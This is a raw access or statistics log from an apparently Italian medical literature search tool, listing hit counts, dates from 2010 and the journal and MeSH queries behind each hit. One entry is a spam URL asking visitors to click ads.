127: : 7-Set-10 21:17: /medasq.php?z=Eur+J+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
127: : 6-Set-10 20:25: /medasq.php?z=Nature&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
127: : 7-Set-10 23:03: /medasq.php?z=Alcohol Alcohol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
127: : 5-Set-10 21:55: /medasq.php?z=Ann+Emerg+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
126: : 6-Set-10 22:39: /medasq.php?z=J Nutr&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
126: : 7-Set-10 12:05: /medasq.php?z=Bangladesh+Med+Res+Counc+Bull&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
126: : 25-Ago-10 20:45: /medasq.php?z=Can+Fam+Physician&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
126: : 18-Ago-10 06:08: /medasq.php?z=Mutat+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
125: : 6-Set-10 18:38: /medasq.php?z=Nutr+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
125: : 7-Set-10 15:02: /medasq.php?z=Arch+Pharm+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
125: : 3-Set-10 10:38: /medasq.php?z=Am+J+Respir+Crit+Care+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
124: : 5-Set-10 01:40: /medasq.php?z=Acta+Ophthalmol+Scand&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
124: : 6-Set-10 08:59: /medasq.php?z=Brain&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
124: : 6-Set-10 07:06: /medasq.php?z=Gen+Physiol+Biophys&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
122: : 5-Set-10 22:27: /medasq.php?z=(j natl cancer inst [ta] OR cancer res [ta] OR j clin oncol [ta] OR br j cancer [ta] OR int j cancer [ta] OR cancer treat rev [ta] OR breast cancer res treat [ta] OR cancer [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
122: : 7-Set-10 23:11: /medasq.php?z=Pediatr+Diabetes&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
122: : 26-Ago-10 21:25: /medasq.php?z=Dement+Geriatr+Cogn+Disord&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
122: : 5-Set-10 19:47: /medasq.php?z=Breast+Cancer+Res+Treat&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
122: : 4-Set-10 18:17: /medasq.php?z=Am+J+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
121: : 4-Set-10 04:56: /medasq.php?z=(j orthop res [ta] OR phys ther [ta] OR spine [ta] OR osteoporos int [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
121: : 5-Set-10 10:35: /medasq.php?z=(j infect dis [ta] OR infect immun [ta] OR vaccine [ta] OR infect control hosp epidemiol [ta] OR am j trop med hyg [ta] OR pediatr infect dis j [ta] OR sex transm dis [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
120: : 2-Set-10 00:05: /medasq.php?z=Can+J+Physiol+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
120: : 7-Set-10 14:48: /medasq.php?z=BMC+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
120: : 7-Set-10 22:35: /medasq.php?z=J+Autoimmun&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
120: : 4-Set-10 18:59: /medasq.php?z=J+Pediatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
119: : 4-Set-10 13:47: /medasq.php?z=J+Atheroscler+Thromb&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
119: : 19-Ago-10 04:10: /medasq.php?z=Biochem+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
119: : 20-Ago-10 01:14: /medasq.php?z=Biol+Pharm+Bull&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
119: : 7-Set-10 12:55: /medasq.php?z=Br+J+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
119: : 7-Set-10 21:24: /medasq.php?z=Kidney+Int&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
119: : 23-Ago-10 23:04: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
118: : 4-Set-10 05:19: /medasq.php?z=Expert+Opin+Pharmacother&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
118: : 1-Set-10 11:03: /medasq.php?z=Thromb+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
118: : 7-Set-10 12:46: /medasq.php?z=Mol+Vis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
118: : 7-Set-10 19:22: /medasq.php?z=Nutr+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
118: : 2-Set-10 03:56: /medasq.php?z=Pharm+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
118: : 4-Set-10 03:49: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (skin diseases [mesh] | dermatos* [all] | dermatit* [all] | psoria* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
118: : 4-Set-10 07:48: /medasq.php?z=J+Invest+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
118: : 7-Set-10 16:46: /medasq.php?z=Am+J+Kidney+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
118: : 4-Set-10 12:38: /medasq.php?z=(am j obstet gynecol [ta] OR obstet gynecol [ta] OR br j obstet gynaecol [ta] OR acta obstet gynecol scand [ta] OR j reprod med [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
117: : 6-Set-10 19:22: /medasq.php?z=Br+J+Radiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
117: : 1-Set-10 11:44: /medasq.php?z=Anesthesiology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
117: : 3-Set-10 12:15: /medasq.php?z=Blood&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
117: : 7-Set-10 21:18: /medasq.php?z=Andrologia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
117: : 6-Set-10 15:37: /medasq.php?z=(arch otolaryngol head neck surg [ta] OR ann otol rhinol laryngol [ta] OR acta otolaryngol stockh [ta] OR clin otolaryngol [ta] OR orl j otorhinolaryngol relat spec [ta] OR j laryngol otol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
117: : 5-Set-10 17:02: /medasq.php?z=Diabetologia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
117: : 7-Set-10 21:23: /medasq.php?z=Curr+Opin+Lipidol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
117: : 3-Set-10 17:19: /medasq.php?z=Am+J+Emerg+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
117: : 6-Set-10 02:06: /medasq.php?z=Acta+Paediatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
117: : 4-Set-10 17:23: /medasq.php?z=Thromb+Haemost&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
116: : 6-Set-10 05:17: /medasq.php?z=Minerva+Pediatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
115: : 3-Set-10 05:41: /medasq.php?z=Cancer+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
115: : 4-Set-10 17:56: /medasq.php?z=J+Pharm+Biomed+Anal&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
115: : 7-Set-10 11:34: /medasq.php?z=(j immunol [ta] OR j allergy clin immunol [ta] OR clin exp allergy [ta] OR allergy [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
115: : 15-Ago-10 01:53: /medasq.php?z=Phytother+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
114: : 7-Set-10 10:45: /medasq.php?z=Pediatr+Neonatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
114: : 5-Set-10 13:09: /medasq.php?z=Postgrad+Med+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
114: : 3-Set-10 02:35: /medasq.php?z=Pharmacol+Biochem+Behav&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
114: : 1-Set-10 16:16: /medasq.php?z=BMC+Cancer&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
114: : 30-Ago-10 09:43: /medasq.php?z=Alcohol+Alcohol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
114: : 1-Set-10 04:55: /medasq.php?z=Circ+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
113: : 6-Set-10 02:43: /medasq.php?z=(blood [ta] OR thromb haemost [ta] OR transfusion [ta] OR br j haematol [ta] OR leukemia [ta] OR semin hematol [ta] OR eur j haematol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
113: : 6-Set-10 16:33: /medasq.php?z=Oncol+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
113: : 25-Ago-10 20:53: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (nervous system diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
113: : 3-Set-10 22:17: /medasq.php?z=Neurochem+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
113: : 4-Set-10 15:15: /medasq.php?z=J+Ren+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
113: : 2-Set-10 22:58: /medasq.php?z=Br+J+Cancer&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
113: : 7-Set-10 21:47: /medasq.php?z=J+Am+Soc+Nephrol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
113: : 6-Set-10 07:52: /medasq.php?z=Altern+Ther+Health+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
112: : 3-Set-10 17:20: /medasq.php?z=(anesthesiology [ta] OR anesth analg [ta] OR br j anaesth [ta] OR anaesthesia [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
112: : 6-Set-10 07:21: /medasq.php?z=An+Pediatr+(Barc)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
111: : 27-Ago-10 08:18: /medasq.php?z=J+Med+Assoc+Thai&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
111: : 5-Set-10 13:01: /medasq.php?z=Curr+Opin+Clin+Nutr+Metab+Care&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
111: : 4-Set-10 16:31: /medasq.php?z=(ann neurol [ta] OR brain [ta] OR neurology [ta] OR arch neurol [ta] OR stroke [ta] OR pain [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
111: : 3-Set-10 06:08: /medasq.php?z=(j periodontol [ta] OR j dent [ta] OR j clin periodontol [ta] OR caries res [ta] OR acta odontol scand [ta] OR j am dent assoc [ta] OR j oral maxillofac surg [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
110: : 28-Ago-10 06:29: /medasq.php?z=Am+J+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
110: : 3-Set-10 12:15: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (mental disorders [mesh] | schizophren* [all] | depression [all] | bipolar* [all] | mania* [all] | manic [all] | psychos* [all] | psychot* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
110: : 25-Ago-10 20:53: /medasq.php?z=Rom+J+Intern+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
109: : 3-Set-10 13:11: /medasq.php?z=Herz&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
109: : 7-Set-10 00:33: /medasq.php?z=Nat+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
109: : 5-Set-10 14:39: /medasq.php?z=J+Hepatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
109: : 4-Set-10 13:54: /medasq.php?z=Arch+Dis+Child+Fetal+Neonatal+Ed&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
108: : 6-Set-10 14:54: /medasq.php?z=Br+J+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
108: : 7-Set-10 02:37: /medasq.php?z=Nutr+Metab+Cardiovasc+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
107: : 5-Set-10 17:55: /medasq.php?z=Br+J+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
106: : 3-Set-10 01:58: /medasq.php?z=Aust+N+Z+J+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
106: : 7-Set-10 12:53: /medasq.php?z=(hum reprod [ta] OR fertil steril [ta] OR am j reprod immunol [ta] OR contraception [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
106: : 5-Set-10 13:27: /medasq.php?z=Can+J+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
105: : 25-Ago-10 00:17: /medasq.php?z=Lijec+Vjesn&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
105: : 7-Set-10 00:42: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (arthritis [mesh] | arthrit* [all] | osteoarthrit* [all] | arthros* [all] | osteoarthros* [all] )&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
105: : 7-Set-10 02:59: /medasq.php?z=J+Emerg+Nurs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
105: : 7-Set-10 22:01: /medasq.php?z=Pediatr+Med+Chir&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
105: : 6-Set-10 08:16: /medasq.php?z=Clin+Sci+(Lond)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
104: : 7-Set-10 02:57: /medasq.php?z=Am+J+Pathol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
104: : 26-Ago-10 11:51: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (inflammatory bowel diseases [mesh] | inflamm* bowel [all] | colitis ulcer* [all] | ulcer* colitis [all] | crohn [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
104: : 26-Ago-10 23:13: /medasq.php?z=Hepatology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
104: : 26-Ago-10 19:33: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (inflammatory bowel diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
104: : 4-Set-10 12:33: /medasq.php?z=(radiology [ta] OR eur j nucl med [ta] OR AJR Am J Roentgenol [ta] OR radiol clin north am [ta] OR br j radiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
104: : 27-Ago-10 21:00: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hyperlipidemia [mesh] | hyperlipid* [all] | hyperlipem* [all] | hyperlipaem* [all] | hypercholester* [all] | hypertriglycerid* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
103: : 7-Set-10 04:19: /medasq.php?z=Anesthesiology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
103: : 27-Ago-10 16:06: /medasq.php?z=Am+J+Physiol+Renal+Physiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
103: : 5-Set-10 20:00: /medasq.php?z=(circulation [ta] OR j am coll cardiol [ta] OR arterioscler thromb vasc biol [ta] OR hypertension [ta] OR thromb haemost [ta] OR am j cardiol [ta] OR br heart j [ta] OR atherosclerosis [ta] OR j vasc surg [ta] OR angiology [ta] OR int angiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
103: : 7-Set-10 00:02: /medasq.php?z=J+Oral+Maxillofac+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
102: : 5-Set-10 21:20: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (autoimmune diseases [mesh] | autoimmun* [all] | dysimmun* [all] | disimmun* [all] | les | lupus [all] | rheumat* [all] | addison's [all] | graves' [all] | pemphig* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
102: : 30-Ago-10 13:35: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (skin diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
102: : 7-Set-10 20:00: /medasq.php?z=Curr+Pharm+Des&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
102: : 2-Set-10 09:16: /medasq.php?z=Nutrition&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
101: : 6-Giu-10 09:57: /medasq.php?z=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads
101: : 7-Set-10 14:35: /medasq.php?z=Eur+Ann+Allergy+Clin+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
101: : 3-Set-10 15:14: /medasq.php?z=Maturitas&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
101: : 7-Set-10 16:29: /medasq.php?z=Reumatismo&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
101: : 25-Ago-10 20:46: /medasq.php?z=cocaine neuroadaptation&abstract=0&quanti=20&highlight=2&dovesiamo=20&daevidenziare=neuroadaptation&azione=Show&free=
101: : 4-Set-10 22:34: /medasq.php?z=J+Fam+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
100: : 1-Set-10 15:28: /medasq.php?z=Anaesthesia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
100: : 28-Ago-10 01:15: /medasq.php?z=(ann emerg med [ta] OR am j emerg med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
100: : 5-Set-10 12:13: /medasq.php?z=Am+J+Trop+Med+Hyg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
99: : 6-Set-10 08:08: /medasq.php?z=J+Clin+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
99: : 24-Ago-10 19:54: /medasq.php?z=Psychosom+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
99: : 7-Set-10 14:01: /medasq.php?z=Exp+Eye+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
99: : 30-Ago-10 19:56: /medasq.php?z=Am+J+Hypertens&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
99: : 31-Ago-10 05:37: /medasq.php?z=Neurobiol+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
99: : 5-Set-10 00:39: /medasq.php?z=Crit+Care+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
98: : 3-Set-10 19:33: /medasq.php?z=Arch+Androl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
98: : 6-Set-10 07:31: /medasq.php?z=Br+J+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
98: : 6-Set-10 18:55: /medasq.php?z=Arterioscler+Thromb+Vasc+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
98: : 3-Set-10 01:37: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (arthritis [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
98: : 4-Set-10 03:43: /medasq.php?z=Diabetes+Metab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
98: : 24-Ago-10 19:05: /medasq.php?z=Neoplasia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
98: : 5-Set-10 23:01: /medasq.php?z=Psychiatr+Danub&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
98: : 6-Set-10 07:01: /medasq.php?z=Pharmacology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
98: : 7-Set-10 03:33: /medasq.php?z=Pain&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
97: : 10-Ago-10 04:20: /medasq.php?z=sodium+oxybate+[mesh]+and+alcohol-related+disorders+[mesh]&abstract=0&quanti=50&highlight=2&daevidenziare=oxybate+alcohol&dovesiamo=0&azione=Show
97: : 4-Set-10 18:33: /medasq.php?z=Obstet+Gynecol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
97: : 25-Ago-10 20:55: /medasq.php?z=East+Mediterr+Health+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
96: : 30-Ago-10 00:49: /medasq.php?z=BMJ&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
96: : 6-Set-10 16:56: /medasq.php?z=Mayo+Clin+Proc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
96: : 7-Set-10 11:52: /medasq.php?z=Neuropharmacology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
95: : 30-Ago-10 20:21: /medasq.php?z=Anticancer+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
95: : 6-Set-10 06:18: /medasq.php?z=Ophthalmology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
95: : 4-Set-10 02:19: /medasq.php?z=Lupus&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
95: : 25-Ago-10 20:46: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (cardiovascular diseases [mesh] | cardiovascular disease* [all] | cardiovascular disorder* [all] | heart disease* [all] | heart disorder* [all] | vascular disease* [all] | vascular disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
95: : 6-Set-10 19:32: /medasq.php?z=Br+J+Anaesth&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
95: : 7-Set-10 00:42: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hypertension [mesh] | hypertens* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
95: : 6-Set-10 06:18: /medasq.php?z=Cardiovasc+Toxicol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
94: : 29-Ago-10 08:00: /medasq.php?z=Nervenarzt&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
94: : 7-Set-10 00:29: /medasq.php?z=J+Gen+Intern+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
94: : 19-Ago-10 22:36: /medasq.php?z=Rev+Environ+Contam+Toxicol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
94: : 4-Set-10 21:55: /medasq.php?z=J+Clin+Periodontol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 31-Ago-10 07:20: /medasq.php?z=J+Altern+Complement+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
